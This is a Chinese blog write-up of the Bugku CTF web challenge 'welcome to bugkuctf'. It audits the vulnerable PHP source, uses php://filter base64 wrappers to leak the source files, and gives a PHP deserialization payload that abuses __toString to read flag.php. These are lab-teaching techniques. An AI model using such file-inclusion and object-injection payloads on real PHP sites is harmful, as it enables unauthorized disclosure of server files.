Day24

 

welcome to bugkuctf

http://123.206.87.240:8006/test1/

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

 

Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第1张

 

 

本题要点:代码审计,PHP://filter ,  php://input ,  base64解密,反序列化

 

  Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第2张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第3张   查看一下源码 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第4张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第5张   审计源码,我们可以发现~   (1)get方式传递三个参数,分别是txt、file、password   (2)读取的$user文件内容===welcome to the bugkuctf   (3) $file要求为hint.php   接下来,我们需要了解 php:// - 访问各种I / O流   查一下php的手册~~~ 参考:https://www.php.net/manual/en/wrappers.php.php   php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。   用法1:将POST内容转换成base64编码并输出: readfile("php://filter/read=convert.base64-encode/resource=php://input"):   用法2:将PHP等容易引发冲突的文件流用php://filter协议流处理一遍 php://filter/read=convert.base64-encode/resource=./xxx.php   下面我们 构造payload~ Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第6张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第7张     base64解密   Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第8张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第9张   解出来的源码如下: 分析一下~   <?php      class Flag{          //flag.php             // 这里 定义了一个类Flag       public $file;       public function __tostring(){        //注意到下面有一个  __tostring 方法,可以理解为将这个类作为字符串执行时会自动执行的一个函数           if(isset($this->file)){               echo file_get_contents($this->file);             echo "<br>";         return ("good");         }       }   }   ?>       再用同样的方法看一下 index.php   ~   Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第10张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第11张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第12张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第13张 解出源码 ~ 分析一下~     <?php   $txt = $_GET["txt"];   $file = $_GET["file"];   $password = $_GET["password"];      if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){       echo "hello friend!<br>";       if(preg_match("/flag/",$file)){ //这里可以看到对关键词flag进行了preg_match             echo "不能现在就给你flag哦";         exit();       }else{           include($file);            $password = unserialize($password);       // 反序列化         echo $password;       }   }else{       echo "you are not the number of bugku ! ";   }      ?>      <!--   $user = $_GET["txt"];   $file = $_GET["file"];   $pass = $_GET["password"];      if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){       echo "hello admin!<br>";       include($file); //hint.php   //结合__tostring 方法,执行时,将变量$file作为文件名输出文件内容 猜想flag.php文件在此打开 }else{       echo "you are not admin ! ";   }   -->     还注意到~   password=unserialize(password=unserialize(password);   因此知道需要构造序列化对象payload为   O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

  Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第14张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第15张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第16张 Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用) 随笔 第17张       完成!

ps:这道题很灵活的运用了php://filter和php://input,值得反复思考哦~

 

参考资料:

https://www.php.net/manual/en/wrappers.php.php

https://blog.csdn.net/csu_vc/article/details/78375203

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄